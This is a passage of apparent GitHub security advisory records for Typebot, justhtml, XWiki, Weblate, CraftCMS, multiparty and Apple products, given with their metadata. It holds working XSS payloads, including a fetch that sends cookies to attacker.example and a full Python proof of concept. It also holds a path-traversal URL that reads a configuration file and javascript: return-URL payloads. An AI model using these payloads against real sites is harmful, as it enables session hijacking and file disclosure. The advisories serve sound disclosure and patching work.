(!("options" in block) || !block.options) return block; if (enableSafetyFlags && block.type === LogicBlockType.SCRIPT) { return { ...block, options: { ...block.options, isUnsafe: true } }; } if (enableSafetyFlags && block.type === LogicBlockType.SET_VARIABLE) { return { ...block, options: { ...block.options, isUnsafe: true } }; } // Rating blocks with malicious customIcon.svg pass through here unchanged // ... }; ``` At runtime, unsafe Script blocks are sandboxed in a Web Worker during preview: ```typescript // packages/embeds/js/src/features/blocks/logic/script/executeScript.ts:14-17 if (isPreview && isUnsafe) { const argsRecord = Object.fromEntries(args.map((a) => [a.id, a.value])); const result = await runUserCodeInWorker(code, argsRecord); ``` But the rating block's `innerHTML` executes directly in the builder's DOM — no Worker, no sandbox, no checks. This creates a complete bypass of the import safety mechanism. ### Builder Preview Executes on the Builder Origin The builder preview renders the bot **inline** (not in an iframe) via a web component chain: ``` EditorPage → PreviewDrawer → WebPreview → <Standard /> (@typebot.io/react) → <typebot-standard> web component → Bot (Solid.js) → RatingForm → innerHTML ``` This means the malicious SVG/HTML executes with full access to the builder's DOM, cookies, and authentication context. The builder's CSP includes `'unsafe-inline'` for scripts: ```javascript // apps/builder/next.config.mjs:79 `script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https:` ``` This permits inline event handlers like `onerror` to execute. ## Proof of Concept ### Attack Vector 1: Malicious Typebot Import (Primary) 1. Attacker crafts a typebot JSON file containing: ```json { "groups": [{ "blocks": [{ "type": "rating input", "options": { "buttonType": "Icons", "customIcon": { "isEnabled": true, "svg": "<img src=x onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">" } } }] }] } ``` 2. Attacker distributes the file (e.g., via community forums, template marketplace, or direct sharing). 3. Victim imports the typebot into their workspace. 4. Victim previews the bot in the builder. The rating block renders, triggering: - `onerror` fires because `src=x` fails to load - `fetch()` exfiltrates the victim's session cookies from the builder origin - Script blocks in the same bot would be sandboxed in a Worker due to `isUnsafe`, but the rating SVG bypasses this entirely ### Attack Vector 2: Malicious Workspace Collaborator 1. Collaborator with editor access modifies a rating block's custom icon SVG. 2. Workspace owner or admin previews the bot. 3. Attacker's payload executes in the admin's builder session. ## Impact - **Session hijacking:** Attacker can exfiltrate authentication cookies and session tokens from the builder origin - **Privilege escalation:** A collaborator with editor access can execute code in the session of workspace admins/owners - **Sandbox bypass:** Completely circumvents the `isUnsafe` Web Worker sandbox designed to protect against imported/untrusted bots - **Account takeover:** With stolen session tokens, the attacker can access the victim's full workspace, modify bots, access integrations, and view collected data - **Defense inconsistency:** The codebase sanitizes innerHTML in `StreamingBubble.tsx` but not in `RatingForm.tsx`, indicating this is an oversight rather than a design choice ## Recommended Remediation ### Option 1: Sanitize with DOMPurify at the rendering layer (Preferred) Apply the same DOMPurify sanitization pattern already used in `StreamingBubble.tsx`. This protects all paths regardless of where the data originates: ```tsx // packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx import domPurify from "dompurify"; // In the RatingButton component: <div class="flex justify-center items-center rating-icon-container" innerHTML={ props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg) ? domPurify.sanitize(props.customIcon.svg) : defaultIcon } /> ``` This is the preferred fix because it applies defense at the lowest layer, protecting all callers (builder preview, viewer, embeds). ### Option 2: Validate SVG content at the schema/API layer Add SVG-specific validation in the Zod schema or in `sanitizeBlock`: ```typescript // In sanitizers.ts sanitizeBlock function, add a case for rating blocks: if (block.type === InputBlockType.RATING && block.options?.customIcon?.svg) { const cleanSvg = domPurify.sanitize(block.options.customIcon.svg, { USE_PROFILES: { svg: true }, }); return { ...block, options: { ...block.options, customIcon: { ...block.options.customIcon, svg: cleanSvg }, }, }; } ``` Note: This option alone is insufficient — it only protects data entering through the API, not data already in the database. Combine with Option 1 for defense-in-depth. ### Additional Recommendation: Audit other innerHTML usages `FileUploadForm.tsx:234` also renders `props.block.options?.labels?.placeholder` via `innerHTML` without sanitization — this should be audited for the same vulnerability class. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

high

2026-05-26 20:39:59+03:00

2026-05-26 20:40:00+03:00

['https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-6m7c-xfhp-p9fh', 'https://nvd.nist.gov/vuln/detail/CVE-2026-28445', 'https://github.com/baptisteArno/typebot.io/commit/474ecbf46bc47a75265bada2599f12b2179de375', 'https://github.com/baptisteArno/typebot.io/blob/v3.16.0/packages/embeds/js/package.json', 'https://github.com/baptisteArno/typebot.io/releases/tag/v3.16.0', 'https://github.com/advisories/GHSA-6m7c-xfhp-p9fh']

[{'package': {'name': '@typebot.io/js', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '0.10.1', 'vulnerable_version_range': '< 0.10.1'}]

{'score': 8.7, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

ee23f91fd6b52c86bd81f5fe0ed5873ab5510dea657fb29778472cac2004b195

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-jf6w-2mvx-633j

justhtml: to_markdown() code-span blank-line breakout enables XSS

# justhtml: to_markdown() code-span blank-line breakout enables XSS ### Summary In `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `<code>` text (and `<pre>` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\n\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**. ### Details `to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and `SECURITY.md` promises `to_markdown()` "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely." The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries: `src/justhtml/node.py:32-41` (tag `v1.21.0`): ```python def _markdown_code_span(s: str | None) -> str: if s is None: s = "" # Use a backtick fence longer than any run of backticks inside. fence = _markdown_backtick_fence(s, minimum=1) # CommonMark requires a space if the content starts/ends with backticks. needs_space = s.startswith("`") or s.endswith("`") if needs_space: return f"{fence} {s} {fence}" return f"{fence}{s}{fence}" ``` The element's text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper: `src/justhtml/node.py:1061-1078` (tag `v1.21.0`): ```python if tag == "pre": code = current.to_text(separator="", strip=False) if current_in_link: current_builder.raw(_markdown_code_span(code)) # inline path else: fence = _markdown_backtick_fence(code, minimum=3) # block path ... if tag == "code" and not current_preserve: current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False))) ``` A Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `<img src=x onerror=...>` becomes a live element. Reachability with default settings: `JustHTML(html)` sanitizes by default; `<code>` and `<pre>` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `&lt;img …&gt;` enters the DOM as literal `<img …>` text while passing HTML sanitization. Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior: - **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `&lt;img …&gt;` outside a code span is neutralized to `&lt;img …>`. Inside a code span it is not escaped — the fence is assumed sufficient. - **`<pre>` outside a link uses a block fence** (`minimum=3`, line 1066), which a blank line cannot break. The same `<pre>` **inside a link** (line 1064) and all `<code>` use the inline span, which a blank line breaks. ### PoC Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path. `Dockerfile`: ```dockerfile FROM python:3.11-slim WORKDIR /poc RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \ && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped") COPY poc.py test.sh /poc/ CMD ["sh", "/poc/test.sh"] ``` `poc.py`: ```python #!/usr/bin/env python3 """PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS. Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML; no JS executed). --prove-exec is an opt-in, container-only execution check.""" from __future__ import annotations import argparse from html.parser import HTMLParser from justhtml import JustHTML from markdown_it import MarkdownIt MARKER = "__POC_XSS_MARKER__" PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>" RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default def build_inputs() -> tuple[str, str]: enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;") control = f"<code>q{enc}</code>" # no blank line -> should stay inert exploit = f"<code>q\n\n{enc}</code>" # + one blank line -> the whole exploit return control, exploit def to_markdown(html: str) -> str: return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True class _SinkFinder(HTMLParser): def __init__(self) -> None: super().__init__(); self.sinks: list[tuple[str, str, str]] = [] def handle_starttag(self, tag, attrs): for name, val in attrs: if name.startswith("on") and val and MARKER in val: self.sinks.append((tag, name, val)) def live_sinks(html: str): f = _SinkFinder(); f.feed(html); return f.sinks def show(label: str, html: str): md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered) print(f"== {label} ==") print(f" 1. input HTML : {html!r}") print(f" 2. to_markdown() out : {md!r}") print(f" 3. CommonMark render : {rendered.strip()!r}") print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n") return rendered, sinks def prove_exec(rendered: str) -> None: print("== --prove-exec (supplementary, container-only) ==") sinks = live_sinks(rendered) if not sinks: print(" no sink to execute"); return handler_js = sinks[0][2] print(f" materialized handler JS: {handler_js!r}") try: import dukpy except Exception: print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;") print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire") def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--prove-exec", action="store_true") args = ap.parse_args() control, exploit = build_inputs() print("Delta between control and exploit: exactly one blank line (\\n\\n).\n") _, c_sinks = show("CONTROL (payload in <code>, NO blank line)", control) ex_rendered, e_sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit) ok = (not c_sinks) and bool(e_sinks) print("== VERDICT ==") print(" BYPASS CONFIRMED." if ok else " not reproduced") if ok: print(f" Sanitized code text became a LIVE element: {e_sinks[0]}") print() if ok and args.prove_exec: prove_exec(ex_rendered) return 0 if ok else 1 if __name__ == "__main__": raise SystemExit(main()) ``` Build and run: ```bash docker build -t justhtml-md-poc ./poc docker run --rm justhtml-md-poc ``` Observed output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`): ``` === Versions under test === Name: justhtml Version: 1.21.0 Name: markdown-it-py Version: 4.2.0 Delta between control and exploit: exactly one blank line (\n\n) inserted into otherwise identical <code> text. == CONTROL (payload in <code>, NO blank line) == 1. input HTML : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>' 2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`' 3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>' 4. live JS sinks : NONE (inert) == EXPLOIT (payload in <code>, + blank line) == 1. input HTML : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>' 2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`' 3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>' 4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')] == VERDICT == BYPASS CONFIRMED. The blank line terminated the inline code span; sanitized code text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()') The control (no blank line) stayed inert inside <code>. ``` The exploit is byte-identical to the inert control plus a single blank line (`\n\n`). Deterministic: same input → same result. Optional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`) — supplementary; the parse proof above is canonical. Inert marker only: ``` == --prove-exec (supplementary, container-only) == materialized handler JS: '__POC_XSS_MARKER__()' JS engine result: 'XSS-EXECUTED' -> attacker JS executed ``` ### Impact This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default). An attacker only needs to control HTML text inside a `<code>` element, or a `<pre>` element within a link — no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim. Severity: CVSS 3.1 **6.1 (Moderate)**, `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it. ### Recommended fix Do not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `<code>` and in-link `<pre>` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\n`), emit it as a fenced code **block** — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere. ### Resources - CWE-79 — https://cwe.mitre.org/data/definitions/79.html - CWE-116 — https://cwe.mitre.org/data/definitions/116.html - Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`), `src/justhtml/node.py:1061-1078` (`<pre>`/`<code>` dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans - Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `<pre>` code **blocks**. Neither addresses a **blank-line** break of an **inline** code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).

medium

2026-06-25 20:35:52+03:00

2026-06-25 20:35:53+03:00

['https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-jf6w-2mvx-633j', 'https://github.com/advisories/GHSA-jf6w-2mvx-633j']

[{'package': {'name': 'justhtml', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '1.22.0', 'vulnerable_version_range': '>= 0.9.0, <= 1.21.0'}]

{'score': 6.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}, {'name': 'Improper Encoding or Escaping of Output', 'cwe_id': 'CWE-116'}]

b4aa7a07d4bedc5b075e92ea8eb36bce5301447e77e67bc5e52becdc9ac5af19

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-xq3r-2qv5-vqqm

CVE-2026-23734

XWiki Platform has path traversal via resources parameter in ssx and jsx endpoints when using leading slash

### Impact It's possible to get access and read configuration files by using URLs such as `http://localhost:8080/bin/ssx/Main/WebHome?resource=/../../WEB-INF/xwiki.cfg&minify=false`. This can apparently be reproduced on Tomcat instances. ### Patches This has been patched in 18.0.0-rc-1, 17.10.3, 17.4.9, 16.10.17. ### Workarounds There is no known workaround, other than upgrading XWiki. ### References * https://jira.xwiki.org/browse/XCOMMONS-3547 * https://github.com/xwiki/xwiki-commons/commit/a979cafd89f6a9c9c0b9ab19744d672df64429bf ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Email us at [Security Mailing List](mailto:security@xwiki.org) ### Attribution The vulnerability was reported by Michał Kołek.

critical

2026-05-26 20:16:40+03:00

2026-05-26 20:16:41+03:00

['https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-xq3r-2qv5-vqqm', 'https://nvd.nist.gov/vuln/detail/CVE-2026-23734', 'https://github.com/xwiki/xwiki-commons/commit/a979cafd89f6a9c9c0b9ab19744d672df64429bf', 'https://jira.xwiki.org/browse/XCOMMONS-3547', 'https://github.com/advisories/GHSA-xq3r-2qv5-vqqm']

[{'package': {'name': 'org.xwiki.commons:xwiki-commons-classloader-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '16.10.17', 'vulnerable_version_range': '>= 4.2-milestone-2, < 16.10.17'}, {'package': {'name': 'org.xwiki.commons:xwiki-commons-classloader-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.4.9', 'vulnerable_version_range': '>= 17.0.0-rc-1, < 17.4.9'}, {'package': {'name': 'org.xwiki.commons:xwiki-commons-classloader-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.10.3', 'vulnerable_version_range': '>= 17.5.0, < 17.10.3'}, {'package': {'name': 'org.xwiki.commons:xwiki-commons-classloader-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '18.1.0-rc-1', 'vulnerable_version_range': '>= 18.0.0-rc-1, < 18.1.0-rc-1'}]

{'score': None, 'vector_string': None}

[{'name': 'Relative Path Traversal', 'cwe_id': 'CWE-23'}]

614e9bcd8cdf29c16221d47daca0f94f0382116e2c511f1f8f9ba0716522ae65

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-hfpv-mc5v-p9mm

CVE-2025-66407

Weblate has a Server-Side Request Forgery issue

### Impact The Create Component functionality in Weblate allows authorized users to add new translation components by specifying both a version control system and a source code repository URL to pull from. However, the repository URL field is not validated or sanitized, allowing an attacker to supply arbitrary protocols, hostnames, and IP addresses, including localhost, internal network addresses, and local filenames. When the Mercurial version control system is selected, Weblate exposes the full server-side HTTP response for the provided URL. This effectively creates a server-side request forgery (SSRF) primitive that can probe internal services and return their contents. In addition to accessing internal HTTP endpoints, the behavior also enables local file enumeration by attempting file:// requests. While file contents may not always be returned, the application’s error messages clearly differentiate between files that exist and files that do not, revealing information about the server’s filesystem layout. In cloud environments, this behavior is particularly dangerous, as internal-only endpoints such as cloud metadata services may be accessible, potentially leading to credential disclosure and full environment compromise. ### Patches This has been addressed in the Weblate 5.15 release. * https://github.com/WeblateOrg/weblate/pull/17103 * https://github.com/WeblateOrg/weblate/pull/17102 ### Workarounds Removing Mercurial from [VCS_BACKENDS](https://docs.weblate.org/en/latest/admin/config.html#vcs-backends) avoids this vulnerability, as the Git backend is not affected. The Git backend was already configured to block the file protocol and does not expose the HTTP response content in the error message. ### References Thanks to Jason Marcello for responsible disclosure.

medium

2026-05-26 19:41:13+03:00

2026-05-26 19:41:14+03:00

['https://github.com/WeblateOrg/weblate/security/advisories/GHSA-hfpv-mc5v-p9mm', 'https://nvd.nist.gov/vuln/detail/CVE-2025-66407', 'https://github.com/WeblateOrg/weblate/pull/17102', 'https://github.com/WeblateOrg/weblate/pull/17103', 'https://github.com/pypa/advisory-database/tree/main/vulns/weblate/PYSEC-2025-231.yaml', 'https://github.com/advisories/GHSA-hfpv-mc5v-p9mm']

[{'package': {'name': 'Weblate', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '5.15', 'vulnerable_version_range': '< 5.15'}]

{'score': 5.0, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N'}

[{'name': 'Cross-Site Request Forgery (CSRF)', 'cwe_id': 'CWE-352'}, {'name': 'Server-Side Request Forgery (SSRF)', 'cwe_id': 'CWE-918'}]

420b640e873f1bb0698806fca1e93ba8b6c02202b4b194ddb92c72a12278395c

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-8w92-3v43-q4p8

CVE-2026-43703

The issue was addressed with improved memory handling. This issue is fixed in iOS 26.5.2 and...

The issue was addressed with improved memory handling. This issue is fixed in iOS 26.5.2 and iPadOS 26.5.2, macOS Tahoe 26.5.2. Processing maliciously crafted web content may lead to an unexpected process crash.

medium

2026-06-30 00:32:13+03:00

2026-06-30 03:32:30+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-43703', 'https://support.apple.com/en-us/127594', 'https://support.apple.com/en-us/127595', 'https://github.com/advisories/GHSA-8w92-3v43-q4p8']

[]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'}

[{'name': 'Out-of-bounds Read', 'cwe_id': 'CWE-125'}]

0a1b6bd6cc0376653dcce08449ea2ee3921a2d3ad2799af362e91a8846957a7a

2026-06-30 03:31:13.232398+03:00

2026-06-30 07:48:03.595014+03:00

GHSA-fvwq-45qv-xvhv

CVE-2026-31859

CraftCMS vulnerable to reflective XSS via incomplete return URL sanitization

### Summary The fix for CVE-2025-35939 in `craftcms/cms` introduced a `strip_tags()` call in `src/web/User.php` to sanitize return URLs before they are stored in the session. However, `strip_tags()` only removes HTML tags (angle brackets) -- it does not inspect or filter URL schemes. Payloads like `javascript:alert(document.cookie)` contain no HTML tags and pass through `strip_tags()` completely unmodified, enabling reflected XSS when the return URL is rendered in an `href` attribute. ### Details The patched code in is: ```php public function setReturnUrl($url): void { parent::setReturnUrl(strip_tags($url)); } ``` `strip_tags()` removes HTML tags (e.g., `<script>`, `<img>`) from a string, but it is **not** a URL sanitizer. When the sanitized return URL is subsequently rendered in an `href` attribute context (e.g., `<a href="{{ returnUrl }}">`), the following dangerous payloads survive `strip_tags()` completely unmodified: 1. **`javascript:` protocol URLs** -- `javascript:alert(document.cookie)` contains no HTML tags, so `strip_tags()` returns it verbatim. When placed in an `href`, clicking the link executes the JavaScript. 2. **`data:` URIs** -- `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` uses Base64 encoding and contains no tags at all, bypassing `strip_tags()` entirely. 3. **Protocol-relative URLs** -- `//evil.com/steal` contains no tags and is passed through unchanged. When rendered as an `href`, the browser resolves it relative to the current page’s protocol, redirecting the user to an attacker-controlled domain. The core issue is that `strip_tags()` operates on HTML syntax (angle brackets) while the threat model here requires URL scheme validation. These are fundamentally different security concerns. ### Impact **Reflected XSS via crafted return URL.** An attacker constructs a malicious link such as `https://target.example.com/craft/?returnUrl=javascript:alert(document.cookie)` and sends it to a victim. The attack flow is: 1. Victim clicks the link, visiting the Craft CMS site. 2. The application calls `setReturnUrl()` with the attacker-controlled value. 3. `strip_tags()` processes the URL but finds no HTML tags -- it passes through unchanged. 4. The URL is stored in the session and later rendered in an `href` attribute (e.g., a "Return" or "Continue" link). 5. When the victim clicks that link, `javascript:alert(document.cookie)` executes in the context of the Craft CMS origin. This enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Data exfiltration** via `fetch()` to an attacker-controlled server - **Phishing** by redirecting to a lookalike domain (protocol-relative URL) - **CSRF** by performing actions on behalf of the authenticated user

medium

2026-03-11 03:26:13+03:00

2026-05-25 09:15:36+03:00

['https://github.com/craftcms/cms/security/advisories/GHSA-fvwq-45qv-xvhv', 'https://github.com/craftcms/cms/commit/cc9921c14897ee2b592a431c2356af8a04ce4cfe', 'https://nvd.nist.gov/vuln/detail/CVE-2026-31859', 'https://github.com/advisories/GHSA-fvwq-45qv-xvhv']

[{'package': {'name': 'craftcms/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.17.3', 'vulnerable_version_range': '>= 4.15.3, <= 4.17.2'}, {'package': {'name': 'craftcms/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.9.7', 'vulnerable_version_range': '>= 5.7.5, <= 5.9.6'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}, {'name': 'Improper Encoding or Escaping of Output', 'cwe_id': 'CWE-116'}]

fba975596ec2ab14204a64f98b649435c81746a86333e6f50250ebd34788933a

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-xh3c-6gcq-g4rv

CVE-2026-8162

multiparty vulnerable to Denial of Service via Uncaught Exception in filename* parameter parsing

### Impact multiparty@4.2.3 and lower versions are vulnerable to denial of service via uncaught exception. By sending a `multipart/form-data` request with a `Content-Disposition: filename*=utf-8''` header containing a malformed percent-encoding (e.g., `%FF`, `%GG`), the parser invokes `decodeURI` on the value without try/catch. The resulting `URIError` propagates as an uncaught exception and crashes the process. Any service accepting multipart uploads via multiparty is affected. ### Patches Users should upgrade to multiparty@4.3.0 or higher. ### Workarounds None.

high

2026-05-18 20:35:24+03:00

2026-05-24 00:35:24+03:00

['https://github.com/pillarjs/multiparty/security/advisories/GHSA-xh3c-6gcq-g4rv', 'https://nvd.nist.gov/vuln/detail/CVE-2026-8162', 'https://cna.openjsf.org/security-advisories.html', 'https://github.com/pillarjs/multiparty/releases/tag/v4.3.0', 'https://github.com/advisories/GHSA-xh3c-6gcq-g4rv']

[{'package': {'name': 'multiparty', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '4.3.0', 'vulnerable_version_range': '<= 4.2.3'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}

[{'name': 'Improper Handling of Exceptional Conditions', 'cwe_id': 'CWE-755'}]

628c524cbd0235e96ae8c2bc14b5d4194373c3f94b6027a5bad2fc8e0ee30819

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-gc99-j9gc-r79x

CVE-2026-43700

A cross-origin issue was addressed with improved tracking of security origins. This issue is...

A cross-origin issue was addressed with improved tracking of security origins. This issue is fixed in Safari 26.5.2, iOS 26.5.2 and iPadOS 26.5.2, macOS Tahoe 26.5.2. Processing maliciously crafted web content may disclose sensitive user information.

medium

2026-06-30 00:32:13+03:00

2026-06-30 03:32:30+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-43700', 'https://support.apple.com/en-us/127594', 'https://support.apple.com/en-us/127595', 'https://support.apple.com/en-us/127685', 'https://github.com/advisories/GHSA-gc99-j9gc-r79x']

[]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N'}

[{'name': 'Origin Validation Error', 'cwe_id': 'CWE-346'}]

0bbfe86ac7d970450605dd6d074848637e908884e090bc9a41cac2c698496892

2026-06-30 03:31:13.232398+03:00

2026-06-30 07:48:03.595014+03:00

GHSA-h545-qxq5-vpjg

CVE-2026-43663

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5.2, iOS...

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5.2, iOS 26.5.2 and iPadOS 26.5.2, macOS Tahoe 26.5.2. Processing maliciously crafted web content may lead to an unexpected process crash.

medium

2026-06-30 00:32:13+03:00

2026-06-30 03:32:30+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-43663', 'https://support.apple.com/en-us/127594', 'https://support.apple.com/en-us/127595', 'https://support.apple.com/en-us/127685', 'https://github.com/advisories/GHSA-h545-qxq5-vpjg']

[]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'}

[{'name': 'Improper Restriction of Operations within the Bounds of a Memory Buffer', 'cwe_id': 'CWE-119'}]

82d2f033ad1ba0e4502006d2447c35885cd925f9072d337f69fc7fa7733272af

2026-06-30 03:31:13.232398+03:00

2026-06-30 07:48:03.595014+03:00

GHSA-ggxf-37hm-9wqf

instagrapi: Unsafe signup challenge path handling in instagrapi

instagrapi versions before 2.6.9 accepted server-supplied signup challenge paths and used them to build request URLs before validating that the paths were relative Instagram API paths. A malicious or tampered challenge payload could cause challenge handling requests to be sent outside the intended Instagram host with the client\'s existing session headers. Version 2.6.9 validates challenge paths before building URLs, solving captcha challenges, or submitting phone/SMS challenge forms.

medium

2026-05-23 03:12:34+03:00

2026-05-23 03:12:34+03:00

['https://github.com/subzeroid/instagrapi/security/advisories/GHSA-ggxf-37hm-9wqf', 'https://github.com/advisories/GHSA-ggxf-37hm-9wqf']

[{'package': {'name': 'instagrapi', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '2.6.9', 'vulnerable_version_range': '< 2.6.9'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}

[{'name': 'Server-Side Request Forgery (SSRF)', 'cwe_id': 'CWE-918'}]

e8a2c24966a7e8d0c959086e2114918eb24ae08893ef71c68cf3d6f9f2857463

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2933-q333-qg83

CVE-2026-48713

i18next-fs-backend vulnerable to prototype pollution via crafted missing-key string

